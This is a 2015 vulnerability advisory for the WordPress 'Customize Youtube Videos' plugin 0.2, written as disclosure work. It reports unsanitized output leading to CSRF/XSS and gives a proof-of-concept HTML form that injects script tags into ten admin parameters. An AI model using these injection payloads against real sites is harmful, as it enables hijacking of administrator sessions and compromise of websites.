WordPress Customize Youtube Videos 0.2 Cross Site Scripting

`Title: WordPress 'Customize Youtube Videos' Plugin   
Version: 0.2  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-16  
Download:   
- https://wordpress.org/plugins/customize-youtube-videos/  
- https://plugins.svn.wordpress.org/customize-youtube-videos/  
Notified Vendor/WordPress: 2015-06-21  
==========================================================  
  
## Plugin description  
==========================================================  
This plugin lets you customize the Youtube videos you are going to embed in your posts and pages  
  
## CSRF/XSS vulnerabilities  
==========================================================  
Customized video settings are displayed unsanitized when pressing "Get the new embed code for your customized Youtube video".  
  
PoC:   
Log in as admin and submit the following form  
  
<form method="POST" action="[URL]/wp-admin/admin.php?page=customize-youtube-videos">   
<input type="text" name="code" value="'></iframe></textarea><script>alert(1)</script>"><br />  
<input type="text" name="start" value="'></iframe></textarea><script>alert(2)</script>"><br />  
<input type="text" name="end" value="'></iframe></textarea><script>alert(3)</script>"><br />  
<input type="text" name="autohide" value="'></iframe></textarea><script>alert(4)</script>"><br />  
<input type="text" name="autoplay" value="'></iframe></textarea><script>alert(5)</script>"><br />  
<input type="text" name="cc_load_policy" value="'></iframe></textarea><script>alert(6)</script>"><br />  
<input type="text" name="controls" value="'></iframe></textarea><script>alert(7)</script>"><br />  
<input type="text" name="loop" value="'></iframe></textarea><script>alert(8)</script>"><br />  
<input type="text" name="rel" value="'></iframe></textarea><script>alert(9)</script>"><br />  
<input type="text" name="showinfo" value="'></iframe></textarea><script>alert(10)</script>"><br />  
<input type="submit">  
</form>  
  
  
## Solution  
==========================================================  
No fix available  
  
==========================================================  
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.  
`